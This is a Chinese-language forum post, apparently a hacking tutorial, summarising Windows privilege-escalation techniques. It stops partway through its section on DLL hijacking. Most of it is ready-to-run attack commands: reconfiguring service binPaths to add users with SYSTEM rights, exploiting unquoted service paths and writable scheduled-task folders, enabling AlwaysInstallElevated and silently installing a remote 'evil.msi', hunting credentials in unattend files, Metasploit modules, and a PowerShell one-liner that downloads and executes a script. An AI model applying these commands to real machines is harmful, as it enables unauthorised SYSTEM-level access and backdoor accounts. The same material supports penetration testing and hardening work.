taibeihacker
Moderator
Windows 提权方式总结
1 前言
1.1 提权基础命令
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 查詢系統信息
systeminfo
# 如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:'OS名稱' /C:'OS版本'
# 主機名
Hostname
# 環境變量
Set
# 查看用戶信息
Net user
# 查看服務pid 號
tasklist /svc|find 'TermService'
netstat -ano|find '3389'
# 查看系統名
wmic os get caption
# 查看補丁信息
wmic qfe get Description,HotFixID,InstalledOn
# 如果要定位到特定的補丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:'KB4346084' /C:'KB4509094'
# 查看當前安裝程序
wmic product get name,version
其中需要注意一下環境變量,因為有的軟件環境變量可能設置在其它路徑中,而在該路徑下的文件是具有寫權限的,就可以通過替换文件來達到提權操作
1.2 Windows 权限划分
User:普通用戶權限,系統中最安全的權限,分配給該組的默認權限不允許成員修改操作系統的設置或用戶資料Administrator:管理員權限,可以利用Windows 的機制將自己提升為System 權限,以便操作SAM 文件等
System:系統權限,可以對SAM 等敏感文件進行讀取,往往需要Administrator 權限提升到System 權限才可以對散列值進行Dump 操作
TrustedInstaller:最高權限, 對於系統文件,即使System 權限也無法進行修改,只有TrustedInstaller 權限才可以修改文件
1.3 常见 webshell 所处的权限
通常的webshell 權限如下:ASP、PHP - 匿名權限
ASPX - user 權限
JSP - 通常是系統權限
2 系统内核提权
此提權方法即是通過系統本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權方法,依托可以提升權限的EXP 和它們的補丁編號,進行提升權限。檢查:
1
2
3
4
5
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
# msf
post/windows/gather/enum_patches
Windows-Exploit-Suggester
下面是輔助提權的頁面:
GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
windows-kernel-exploits Windows平台提权漏洞集合. Contribute to SecWiki/windows-kernel-exploits development by creating an account on GitHub.
GitHub - neargle/win-powerup-exp-index: 🚄 火车上写的,2015年的代码和数据了
🚄 火车上写的,2015年的代码和数据了. Contribute to neargle/win-powerup-exp-index development by creating an account on GitHub.

3 配置不当提权
3.1 系统服务权限配置错误
Windows 系統服務文件在操作系統啟動時加載並執行,並調用可執行文件。因此,如果一個低權限用戶對這些調用的可執行文件擁有可寫權限,就可以將該文件替換成任意可執行文件,並隨著系統服務的啟動獲得系統權限,但一般情況下,Windows 是以System 權限執行的,因此,其文件夾、文件和註冊表鍵值都是受到強訪問控制機制保護的,但在某些情況下仍有些服務沒有得到有效保護。3.1.1 accesschk
下載地址:https://download.sysinternals.com/files/SysinternalsSuite.zip用accesschk.exe 工具查看當前用戶可修改的服務:
accesschk.exe -uwcqv 'XXX' * /accepteula 1.txt //XXX為當前用戶名
如果出現SERVICE_ALL_ACCESS 則表示當前用戶擁有修改該服務的權限

查看該服務啟動時的權限
sc qc VMTools

然後修改執行文件路徑為我們想要執行的命令
1
2
3
4
5
# 注意這裡的'='後面要留有空格
sc config VMTools binPath='net user test1 abc123! /add'
# 查看查詢該服務的執行路徑是否修改成功
sc qc VMTools
重啟服務
1
2
sc stop VMTools
sc start VMTools
但要注意這裡啟動時會報錯,因為當一個服務在Windows 系統中啟動後,它必須和服務控制管理器通信。如果沒有通信,服務控制管理器會認為出現了錯誤,並會終止這個進程。但是我們的命令已經以SYSTEM 權限運行了,並且成功添加了一個用戶。
資訊
利用系統自帶的icacls 也可以:
確定寫入權限:icacls 'C:\Program Files\program folder'

「M」表示修改、「F」表示完全控制
「CI」代表從屬容器將繼承訪問控制項
「OI」代表從屬文件將繼承訪問控制項
常用命令:
1
2
3
4
5
6
icacls 'C:\Program Files\*' 2nul | findstr '(M)' | findstr 'Everyone'
icacls 'C:\Program Files(x86)\*' 2nul | findstr '(M)' | findstr 'Everyone'
icacls 'C:\Program Files\*' 2nul | findstr '(M)' | findstr 'BUILTIN\Users'
icacls 'C:\Program Files(x86)\*' 2nul | findstr '(M)' | findstr 'BUILTIN\Users'
3.1.2 PowerSploit
12
3
powershell.exe -exec bypass -nop -c 'IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks'
powershell.exe -exec bypass -Command ' {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}' 1.txt
列出了所有可能存在問題的服務:

ServiceName:可能存在漏洞的服務
Path:該服務的可執行程序的路徑
StartName:服務運行賬號
AbuseFunction:利用方式
根據AbuseFunction 中的利用方式執行腳本,這里以VGAuthService 服務為例

添加一個名為user,密碼為123456 的賬號:
1
powershell.exe -exec bypass -Command ' {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username user -Password 123456}'
3.1.3 metasploit
12
3
4
use exploit/windows/local/service_permissions
set AGGRESSIVE true
set session 1
exploit
3.2 可信任服务路径提权
可信任服務路徑漏洞利用了Windows 文件路徑解析的特性,如果一個服務調用的可執行文件沒有正確地處理所引用的完整路徑名,同時攻擊者該文件路徑有可寫權限,攻擊者就可以上傳文件來劫持路徑名。例如Windows 系統啟動某服務時查找的文件路徑為C:\Program Files\Some Folder\Services.exe。
對於該路徑中的每一個空格,Windows 都會嘗試並執行與空格前面的名字相匹配的程序,因此Windows 會以依次如下順序查找一下啟動程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Services.exe
此時如果我們對C:\路徑或者C:\Program Files 有可寫的權限,就可以上傳Program.exe 或Some.exe 程序到相應目錄下,當服務重新啟動時,就會以System 權限執行我們上傳的惡意程序。
利用條件:
服務路徑未使用雙引號
服務路徑包含空格
我們有某一中間文件夾的寫權限
3.2.1 检查
1wmic service get name,displayname,pathname,startmode|findstr /i 'Auto' |findstr /i /v 'C:\Windows\' |findstr/i /v '''

3.2.2 利用
接著查看是否有對目標文件夾的寫權限,使用Windows 內置工具icacls,以此檢查各級路徑:1
2
3
icacls 'C:'
icacls 'C:\Program Files'
icacls 'C:\Program Files\VMware'
依次查看各級目錄是否有可寫權限,最後找到C:\Program Files\VMware 目錄,在該目錄下方式木馬,上線後,即為高權限。
3.3.3 msf 中的模块
exploit/windows/local/trusted_service_path 模塊3.3 计划任务提权
如果攻擊者對以高權限運行的計劃任務所在目錄具有所寫權限,就可以使用惡意程序覆蓋原來的程序,這樣,在計劃任務下次執行時就會以高權限來運行惡意程序。1
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike '\Microsoft\Windows\*') -And ($_.Principal.UserId -notlike '*$env:UserName*')} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name='User';Expression={$_.Principal.userID}}
查看某個目錄的權限配置情況
1
accesschk64.exe -dqv '/path/to/dir'
如果攻擊者對某個高權限的計劃任務所在的路徑有可寫權限,可使用惡意程序覆蓋原來的程序,當計劃任務下次執行時,就會以高權限運行惡意程序。
4 AlwaysInstallElevated 提权
註冊表鍵AlwaysInstallElevated 是一個策略設置項,Window 允許低權限用戶以System 權限運行MSI 安裝文件,如果啟用此策略設置項,那麼任何權限的用戶都能以NT AUTHORITY\SYSTEM 權限來運行惡意的MSI 文件4.1 查询
查詢:1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
未啟用AlwaysInstallElevated 策略,返回結果為:「找不到指定的註冊表項或值」
4.2 开启
12
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
4.3 执行 MSI 文件
本地執行:msiexec /q /i C:\msi.msi/i 參數用來表示安裝操作
/q 參數用來隱藏安裝界面
並且MSIEXEC 也可以實現無落地文件的方式進行木馬上線的方式,當然低權限用不了,因為msi 文件需要可信的證書才能遠程利用AlwaysInstallElevated 提權:msiexec /q /i http://ip/evil.msi

4.4 利用
4.4.1 PowerUP 脚本
PowerSploit/Privesc/PowerUp.ps1 at master · PowerShellMafia/PowerSploit
PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit
1
2
Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
返回True 代表開啟。
4.4.2 MSI Wrapper 添加用户
MSI Wrapper 下載地址:https://www.exemsi.com/download/將Payload 設置為執行ProcessHacker:

運行時要求提升權限:

MSI installation context 下選擇Per User 和Per Machine 都可以。
5 无人值守安装文件
一些windows 無人值守安裝文件中含有用戶的明文或base64 編碼後的密文1
dir /s *sysprep.inf *sysprep.xml *unattend.xml *unattend.txt 2nul
常見位置:
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windos\System32\sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
6 DLL 劫持提权
6.1 相关概念
6.1.1 DLL 简介
何為劫持在正常事物發生之前進行一個旁路操作
動態鏈接庫(Dynamic-Link-Library,縮寫dll)。在Windows 中,許多應用程序並不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL 文件,放置於系統中。當執行某一個程序時,相應的DLL 文件就會被調用。一個應用程序可使用多個DLL 文件,一個DLL 文件也可能被不同的應用程序使用,這樣的DLL 文件被稱為共享DLL 文件。

6.1.2 DLL 的加载顺序
微軟的DLL 劫持分為三個階段無保護階段:Windows XP SP2 之前
保護階段:Windows XP SP2 之後,Windows 7 之前
進一步保護階段:Windows 7 之後
Windows XP SP2 之前
進程對應的應用程序所在目錄;
加載DLL 時所在的當前目錄(SetCurrentDirectory);
系統目錄即SYSTEM32 目錄(通過GetSystemDirectory 獲取);
16 位系統目錄即SYSTEM 目錄;
Windows 目錄:C:\Windows(通過GetWindowsDirectory 獲取);
PATH 環境變量中的各個目錄;
Windows XP SP2 之後
微軟為了防止DLL 劫持漏洞的產生,在XP SP2 之後,添加了一個SafeDllSearchMode 的註冊表屬性。註冊表路徑如下:
1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
當SafeDllSearchMode 的值設置為1,即安全DLL 搜索模式開啟時,查找DLL 的目錄順序如下:
應用程序所在目錄;
系統目錄SYSTEM32 目錄;
16 位系統目錄即SYSTEM 目錄。該項只是為了向前兼容的處理,可以不考慮
Windows 目錄。通常是C:\Windows;
加載DLL 時所在的當前目錄;
環境變量PATH 中所有目錄。需要注意的是,這裡不包括App Paths 註冊表項指定的應用程序路徑。
win7 之後
微軟為了更進一步的防禦系統的DLL 被劫持,將一些容易被劫持的系統DLL 寫進了一個註冊表項中,那么凡是此项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能從系統目錄即SYSTEM32 目錄下調用。註冊表路徑如下:
1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Windows 操作系統通過「DLL路徑搜索目錄順序」和「Know DLLs註冊表項」的機制來確定應用程序所要調用的DLL 的路徑,之後,應用程序就將DLL 載入了自己的內存空間,執行相應的函數功能。
註冊表路徑:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
6.1.3 分析 DLL 的加载过程 - Process Monitor
Process Monitor 是Windows 的高級監視工具,可顯示實時文件系統,註冊表和進程/線程活動。